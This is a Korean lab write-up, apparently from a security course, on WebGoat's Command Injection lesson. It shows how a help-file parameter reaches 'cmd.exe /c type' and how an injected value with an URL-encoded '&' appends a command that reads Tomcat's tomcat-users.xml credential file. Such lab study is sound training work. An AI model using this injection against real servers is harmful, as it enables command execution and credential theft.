Tiny Bunny

Rookies/애플리케이션 보안

[SK shieldus Rookies 19기] WebGoat - Command Injection

bento 2024. 3. 26. 00:26
[SK쉴더스 Rookies 19기] 클라우드 기반 스마트 융합보안 과정

01. Command Injection

view로 .help 파일을 누르면 내용을 볼 수 있다

 

개발자 도구를 통해 전달되는 형식을 추측해본다

attack?Screen=6&menu=1100&HelpFile=AccessControlMatrix.help&SUBMIT=View

아마도 . .

 

cmd.exe /c type "C:\FullstackLAB\workspace\.metadata\.plugins\org.eclipse.wst.server.core\tmp1\wtpwebapps\WebGoat\lesson_plans\English\AccessControlMatrix.html"

 

cmd.exe → 명령 프롬프트 실행

/c → 명령어 실행 완료 후 프롬프트 종료

type → 매개변수로 전달된 텍스트 파일 내용을 콘솔에 출력하는 운영체제 명령어

C:\ ~ English\ → 파일 경로

Access~Matrix → 파일 이름 (파라미터 통해서 전달 받음)

html → 서버 내부에 도움말 파일이 어떤 형태로 저장되어 있는 지 모르도록 처리

 

파일을 with open ~ 식으로 지정된 경로에서 요청 파라미터로 전달된 파일명을 이용하여 파일을 읽어서 응답으로 반환하는 것이 아니라 type이라는 명령어를 사용함 → (불필요한 운영체제 명령어 사용) 

 

 

추가 명령어를 실행시켜보자

 

cmd.exe /c type "C:\FullstackLAB\workspace\...\lesson_plans\English\ConcurrencyCart.html" & type C:\FullstackLAB\tools\apache-tomcat-7.0.109\conf\tomcat-users.xml"

이 되게 만들어준다

 

burpsuite proxy 사용

 

여기서!!

&를 url 인코딩 하여 %26으로 넣어준다

 

그래서 추가로 넣어줄 값은.. 

 

" %26 type C:\FullstackLAB\tools\apache-tomcat-7.0.109\conf\tomcat-users.xml

 

변경 완료

 

추가 명령어가 실행된 모습

 

개발자 도구를 활용하면 전문을 확인 가능

728x90